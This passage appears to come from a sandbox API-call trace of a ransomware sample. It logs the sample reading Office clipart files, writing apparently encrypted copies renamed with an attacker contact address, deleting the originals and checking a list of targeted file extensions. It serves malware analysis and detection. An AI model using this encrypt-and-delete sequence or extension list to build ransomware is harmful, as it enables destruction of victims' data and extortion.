nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0151.396] WriteFile (in: hFile=0x10c0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0151.397] ReadFile (in: hFile=0x10ec, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.397] WriteFile (in: hFile=0x10c0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.397] SetEndOfFile (hFile=0x10c0) returned 1 [0151.398] CloseHandle (hObject=0x10c0) returned 1 [0151.404] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.404] SetEndOfFile (hFile=0x10ec) returned 1 [0151.405] CloseHandle (hObject=0x10ec) returned 1 [0151.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.406] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0151.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0151.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0151.407] lstrlenW (lpString=".doc") returned 4 [0151.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.407] lstrlenW (lpString=".docx") returned 5 [0151.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.407] lstrlenW (lpString=".pdf") returned 4 [0151.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.407] lstrlenW (lpString=".xls") returned 4 [0151.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.407] lstrlenW (lpString=".xlsx") returned 5 [0151.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.407] lstrlenW (lpString=".ppt") returned 4 [0151.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0151.407] lstrlenW (lpString=".zip") returned 4 [0151.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.407] lstrlenW (lpString=".rar") returned 4 [0151.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.407] lstrlenW (lpString=".bz2") returned 4 [0151.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.407] lstrlenW (lpString=".7z") returned 3 [0151.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0151.407] lstrlenW (lpString=".dbf") returned 4 [0151.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0151.408] lstrlenW (lpString=".1cd") returned 4 [0151.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0151.408] lstrlenW (lpString=".jpg") returned 4 [0151.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0151.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0151.408] lstrlenW (lpString=".doc") returned 4 [0151.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.408] lstrlenW (lpString=".docx") returned 5 [0151.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.408] lstrlenW (lpString=".pdf") returned 4 [0151.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.408] lstrlenW (lpString=".xls") returned 4 [0151.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.408] lstrlenW (lpString=".xlsx") returned 5 [0151.408] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.408] lstrlenW (lpString=".ppt") returned 4 [0151.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0151.408] lstrlenW (lpString=".zip") returned 4 [0151.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.408] lstrlenW (lpString=".rar") returned 4 [0151.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.408] lstrlenW (lpString=".bz2") returned 4 [0151.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.408] lstrlenW (lpString=".7z") returned 3 [0151.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0151.409] lstrlenW (lpString=".dbf") returned 4 [0151.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0151.409] lstrlenW (lpString=".1cd") returned 4 [0151.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0151.409] lstrlenW (lpString=".jpg") returned 4 [0151.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.409] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0151.409] lstrlenW (lpString="AN02724_.WMF") returned 12 [0151.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0151.411] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=2108) returned 1 [0151.411] CloseHandle (hObject=0x10b4) returned 1 [0151.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0151.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0151.412] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.412] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e4 [0151.412] GetLastError () returned 0x0 [0151.412] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x83c, lpOverlapped=0x0) returned 1 [0151.425] WriteFile (in: hFile=0x10e4, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x840, lpOverlapped=0x0) returned 1 [0151.438] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.438] WriteFile (in: hFile=0x10e4, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.438] SetEndOfFile (hFile=0x10e4) returned 1 [0151.438] CloseHandle (hObject=0x10e4) returned 1 [0151.445] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.445] SetEndOfFile (hFile=0x10b4) returned 1 [0151.450] CloseHandle (hObject=0x10b4) returned 1 [0151.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0151.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0151.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0151.453] lstrlenW (lpString=".doc") returned 4 [0151.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.453] lstrlenW (lpString=".docx") returned 5 [0151.453] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.453] lstrlenW (lpString=".pdf") returned 4 [0151.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.453] lstrlenW (lpString=".xls") returned 4 [0151.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.453] lstrlenW (lpString=".xlsx") returned 5 [0151.453] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.453] lstrlenW (lpString=".ppt") returned 4 [0151.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0151.453] lstrlenW (lpString=".zip") returned 4 [0151.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.453] lstrlenW (lpString=".rar") returned 4 [0151.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.453] lstrlenW (lpString=".bz2") returned 4 [0151.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.454] lstrlenW (lpString=".7z") returned 3 [0151.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0151.454] lstrlenW (lpString=".dbf") returned 4 [0151.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0151.454] lstrlenW (lpString=".1cd") returned 4 [0151.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0151.454] lstrlenW (lpString=".jpg") returned 4 [0151.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0151.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0151.454] lstrlenW (lpString=".doc") returned 4 [0151.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.454] lstrlenW (lpString=".docx") returned 5 [0151.454] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.454] lstrlenW (lpString=".pdf") returned 4 [0151.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.454] lstrlenW (lpString=".xls") returned 4 [0151.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.454] lstrlenW (lpString=".xlsx") returned 5 [0151.454] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.454] lstrlenW (lpString=".ppt") returned 4 [0151.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0151.454] lstrlenW (lpString=".zip") returned 4 [0151.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.455] lstrlenW (lpString=".rar") returned 4 [0151.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.455] lstrlenW (lpString=".bz2") returned 4 [0151.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.455] lstrlenW (lpString=".7z") returned 3 [0151.455] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0151.455] lstrlenW (lpString=".dbf") returned 4 [0151.455] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0151.455] lstrlenW (lpString=".1cd") returned 4 [0151.455] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0151.455] lstrlenW (lpString=".jpg") returned 4 [0151.455] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.455] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0151.455] lstrlenW (lpString="AN03500_.WMF") returned 12 [0151.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0151.456] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=9240) returned 1 [0151.456] CloseHandle (hObject=0x10b4) returned 1 [0151.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 0x220 [0151.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0151.456] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.456] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0151.457] GetLastError () returned 0x0 [0151.457] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x2418, lpOverlapped=0x0) returned 1 [0151.498] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x2420, lpOverlapped=0x0) returned 1 [0151.499] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.499] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.500] SetEndOfFile (hFile=0x10e8) returned 1 [0151.500] CloseHandle (hObject=0x10e8) returned 1 [0151.501] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.501] SetEndOfFile (hFile=0x10b4) returned 1 [0151.502] CloseHandle (hObject=0x10b4) returned 1 [0151.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0151.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0151.503] lstrlenW (lpString=".doc") returned 4 [0151.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.503] lstrlenW (lpString=".docx") returned 5 [0151.503] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.503] lstrlenW (lpString=".pdf") returned 4 [0151.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.503] lstrlenW (lpString=".xls") returned 4 [0151.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.503] lstrlenW (lpString=".xlsx") returned 5 [0151.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.503] lstrlenW (lpString=".ppt") returned 4 [0151.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0151.503] lstrlenW (lpString=".zip") returned 4 [0151.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.503] lstrlenW (lpString=".rar") returned 4 [0151.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.503] lstrlenW (lpString=".bz2") returned 4 [0151.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString=".7z") returned 3 [0151.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0151.504] lstrlenW (lpString=".dbf") returned 4 [0151.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0151.504] lstrlenW (lpString=".1cd") returned 4 [0151.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0151.504] lstrlenW (lpString=".jpg") returned 4 [0151.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0151.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0151.504] lstrlenW (lpString=".doc") returned 4 [0151.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString=".docx") returned 5 [0151.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.504] lstrlenW (lpString=".pdf") returned 4 [0151.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString=".xls") returned 4 [0151.504] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.504] lstrlenW (lpString=".xlsx") returned 5 [0151.504] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.504] lstrlenW (lpString=".ppt") returned 4 [0151.504] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0151.504] lstrlenW (lpString=".zip") returned 4 [0151.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.504] lstrlenW (lpString=".rar") returned 4 [0151.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.505] lstrlenW (lpString=".bz2") returned 4 [0151.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.505] lstrlenW (lpString=".7z") returned 3 [0151.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0151.505] lstrlenW (lpString=".dbf") returned 4 [0151.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0151.505] lstrlenW (lpString=".1cd") returned 4 [0151.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 68 [0151.505] lstrlenW (lpString=".jpg") returned 4 [0151.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.505] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0151.505] lstrlenW (lpString="AN04134_.WMF") returned 12 [0151.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0151.506] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=3416) returned 1 [0151.506] CloseHandle (hObject=0x10b4) returned 1 [0151.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0151.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0151.506] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.506] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10e8 [0151.507] GetLastError () returned 0x0 [0151.507] ReadFile (in: hFile=0x10b4, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xd58, lpOverlapped=0x0) returned 1 [0151.514] WriteFile (in: hFile=0x10e8, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: 